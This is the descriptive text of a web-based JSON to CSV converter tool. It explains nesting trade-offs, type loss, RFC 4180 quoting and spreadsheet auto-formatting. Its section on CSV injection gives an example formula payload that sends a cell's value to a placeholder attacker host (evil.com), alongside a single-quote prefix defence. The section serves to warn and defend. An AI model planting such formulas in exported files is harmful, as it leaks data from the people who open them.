Fast, practical, browser-based developer tools
Convert JSON arrays and objects into CSV instantly in your browser. This free JSON to CSV converter is useful for spreadsheets, reporting, analytics, exports, imports, and quick data transformation workflows.
CSV is easier to import into Excel, Google Sheets, reporting tools, and analytics workflows. This JSON to CSV tool helps you transform structured records into rows and columns without installing external software.
This JSON to CSV converter is designed to work directly in your browser during normal use. That makes it useful for fast local conversion, spreadsheet prep, exports, and development workflows.
For more details about site usage and analytics, read our Privacy Policy.
Paste your JSON into the input box, validate or format it if needed, then convert it to CSV. Once converted, you can copy the output or download the CSV file instantly.
The hard part of JSON-to-CSV is not the syntax, it is the shape. JSON is a tree — objects inside objects, arrays inside arrays — while CSV is a flat grid of rows and columns with no concept of nesting. Something has to give, and every converter chooses one of a few compromises. This tool serialises a nested object or array back into JSON text inside a single cell, so the value survives but you now have JSON embedded in your CSV, which the spreadsheet treats as an opaque string.
The alternative approach, flattening, spreads nested fields into dotted columns like
address.city and tags.0. That reads better in a spreadsheet but
explodes the column count and is not reversible without knowing the convention. Neither is
wrong; they are different trade-offs. Decide before you convert whether a downstream tool
needs to read those nested values as columns or is happy to keep them as text.
This is the gotcha almost nobody accounts for. When a spreadsheet opens a CSV, any cell
whose text begins with =, +, -, or @ is
treated as a formula, not a string. If your JSON contains user-supplied
values — a display name, a note, an address — an attacker can set a field to something like
=HYPERLINK("http://evil.com?"&A1,"click") and have it execute in the
victim's Excel. This is CSV injection, and it is a real, catalogued vulnerability class.
A syntactically perfect CSV can still carry this payload, because the file is fine — the spreadsheet is what evaluates it. The standard defence is to prefix any cell starting with one of those characters with a single quote, or wrap it so the leading character is not first. If you are exporting data that other people will open, treat it as untrusted output, not just a format change.
JSON distinguishes the number 1, the string "1", the boolean
true, and null. CSV cannot. Once written, every value is just
characters, and it is the reader that guesses types back. That guessing is where data
dies: a value like null is indistinguishable from the literal string "null" or
an empty cell, and a boolean becomes the word true with no marker that it was
ever a boolean.
Numbers are the worst offender, but the damage happens in the spreadsheet, not in the file.
Excel and Google Sheets auto-detect types on open: a zip code 01234 loses its
leading zero and becomes 1234, a 16-digit order ID renders in scientific notation as
1.23E+15 and loses its final digits, and anything resembling a date gets
silently reformatted. The CSV your tool produced is correct; the viewer is what mangles it.
To preserve such fields, import as text rather than double-clicking the file.
CSV's quoting rules come from RFC 4180, and getting them wrong is what produces misaligned
columns. A value that itself contains a comma, a double quote, or a line break must be
wrapped in double quotes, and any double quote inside that value is escaped by
doubling it. So the value She said "hi", loudly is written as
"She said ""hi"", loudly". A converter that forgets to quote embedded commas
will shift every following column one place to the right for that row — a classic
off-by-one that only shows up in the rows that happen to contain the offending character.
They cannot become columns on their own, because CSV is flat. This tool serialises a
nested value back to JSON text inside the cell, so it is preserved as a string. If you
need those fields as real columns, flatten the JSON first so keys like
address.city become their own headers.
The CSV file is correct — Excel changes the values when it opens them. It auto-detects
types, so 01234 loses its leading zero and a 16-digit ID renders in
scientific notation and drops digits. Import the file as text (Data → From Text) instead
of double-clicking it to keep those fields intact.
It can be. If a value starts with =, +, -, or
@, a spreadsheet may run it as a formula — CSV injection. When the JSON
contains user-supplied text you plan to share as CSV, sanitise those cells (for example
by prefixing a single quote) before anyone opens the file.
Records in real JSON arrays are often ragged — some objects have fields others lack. A converter builds the header from the union of keys it sees, and rows missing a field get an empty cell. Check that the first object is not treated as the only source of columns, or later fields can be dropped.
Not as types. CSV has no type system, so true becomes the text "true" and
null becomes an empty cell or the word "null" — indistinguishable from a
string with that content. Any consumer has to re-interpret types itself.
Per RFC 4180, a value containing a comma, quote, or newline is wrapped in double quotes,
and inner quotes are doubled: a "quoted" word becomes
"a ""quoted"" word". Skipping this shifts every column after it in that
row, so it is the usual cause of a CSV that looks misaligned in only some rows.